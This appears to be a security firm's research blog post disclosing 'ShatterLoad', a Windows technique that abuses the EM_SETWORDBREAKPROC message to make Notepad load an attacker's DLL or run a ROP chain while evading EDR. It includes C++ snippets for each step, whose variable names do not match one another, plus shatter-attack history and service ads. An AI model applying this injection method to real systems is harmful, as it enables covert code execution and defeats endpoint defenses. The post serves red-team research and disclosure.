ShatterLoad - Resurrection of Shatter Attacks for DLL Injection and ROP Chain Execution

Feb 25, 2024

CVE Number



Rilke Petrosky of Pentraze Cybersecurity


During adversarial emulation and penetration testing operations, red teams often need to overcome limitations imposed by Endpoint Detection and Response (EDR) systems. Proxy execution and evasive ways of running code is key.

We’ve identified a new procedure for injecting a DLL or executing a Return-Oriented Programming (ROP) chain on remote processes by exploiting the Windows message passing system, known as “Shatter Attacks.” to inject DLLs and even run arbitrary code without using traditional syscalls and Win32 API functions, providing a stealthy approach to code execution, avoiding use of highly monitored syscalls such as CreateRemoteThread, VirtualAlloc, and WriteProcessMemory.


With ShatterLoad, we bring back to life some of the principles in Shatter Attacks by abusing the EM_SETWORDBREAKPROC message in order to forcefully assign a word-break callback function on a trusted process’ text box, such as multiline edit or rich edit controls. (See [Background and Previous Work](Background and Previous Work) for some history and context).

Whenever a line reaches the maximum width of any multiline text control, this function is called with the pointer to the text of the edit control, and other parameters such as the index of the character where the word breaks, the total characters in the edit control text, and an action to take (break word, break line, moving word left or right, etc.). This function follows the EDITWORDBREAKPROCA function type:

EDITWORDBREAKPROCA Editwordbreakproca;

int Editwordbreakproca(
  [in] LPSTR lpch, // A pointer to the text of the edit control.
  [in] int ichCurrent, // An index to a character position in the buffer of text that identifies the point at which the function should begin checking for a word break.
  [in] int cch, // The number of TCHARs in the edit control text.
  [in] int code // The action to be taken by the callback function.

This feature can be leveraged as an indirect function call primitive, triggering execution of any arbitrary position within the target process’ address space.


Our exploit can use notepad.exe, a trusted program signed by Microsoft, as a scape goat process for proxy execution, following these steps:

  1. We get Notepad’s main edit text box’s window handle:
    HWND hwnd = FindWindow("Notepad", NULL);
    hwnd = FindWindowEx(hw, NULL, "Edit", NULL);
    PVOID textbox = (PVOID)SendMessage(hw, EM_GETHANDLE, 0, 0);
    cout << "Main textbox's handle: " << std::hex << textbox << "\n";
  2. Set the word break callback function to LoadLibraryW:
    SendMessage(hwnd, EM_SETWORDBREAKPROC, 0, (LPARAM)LoadLibraryW);
  3. Finally, write a very long representation of the DLL file you want to inject:
    SendMessage(hwndEdit, WM_SETTEXT, 0, (LPARAM)L"C:\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\AbsolutePathOfThe\\injected.dll\x00");

During many adversarial emulation engagements, we’ve proven this technique to evade industry’s top EDR solutions. This is highy evasive because:

  • There is no offense or attempt to bypass UIPI or any other countermeasures against Shatter Attacks.
  • The artifact does not call monitored system calls. No remote thread or memory operations involved.
  • No correlation between the artifact and the target process. Notepad calls the LoadLibraryW function its logged its own.

Also, this same technique can be used for more advanced ROP chain exploitation and code reuse attacks. With some useful gadgets in the target process and system libraries, we can also use the Shatter Load technique to force execution of a any ROP chain or any function, with the benefit of some level of control over the function’s arguments and the rcx, rdx, r8 and r9 registers.

Background and Previous Work

Shatter Attacks, known for decades, are no longer considered a concern for privilege escalation and code execution due to several security advancements such as User Interface Privilege Isolation (UIPI), improvements in cross-session window messaging isolation, and features like Data Execution Prevention (DEP). Historically, Shatter Attacks exploited window messages such as WM_SETTEXT and WM_TIMER to write and execute arbitrary shellcode within the context of other processes, primarily to gain elevated privileges.

Their ease of exploitation and severity earned Shatter Attacks their very own common weakness exposure: CWE-422: Unprotected Windows Messaging Channel.

Many other researchers have previously used this technique for other purposes. Some notable mentions:

  • Chris Paget (August 2002): His seminal work, “Exploiting design flaws in the Win32 API for privilege escalation”, demonstrated how design flaws in the Win32 API could be used for privilege escalation.

  • Multiple CVEs using the old Shatter Attacks:

    CVE-2002-0971Bypass GUI and access restricted dialog box.
    CVE-2002-1230Gain privileges via Windows message.
    CVE-2003-0350A control allows a change to a pointer for a callback function using Windows message.
    CVE-2003-0908Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access “open file” dialog.
    CVE-2004-0213Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.
    CVE-2004-0207User can call certain API functions to modify certain properties of privileged programs.


Penetration Testing

Proactive assessment using tactics, techniques, and procedures of actual attackers to identify security flaws, incorrect configurations, and vulnerabilities.

Learn more

Application Security Testing

Comprehensive application protection, ensuring robust security throughout the entire software development lifecycle.

Learn more

Red Team Exercises

Simulate and emulate advanced cyber attacks to pinpoint vulnerabilities and test your organization's defense mechanisms, ensuring robust resilience against real-world threats.

Learn more

Vulnerability Management

Proactive process to identify, prioritize, and address security vulnerabilities in systems and software, enhancing an organization's defense against evolving cyber threats.

Learn more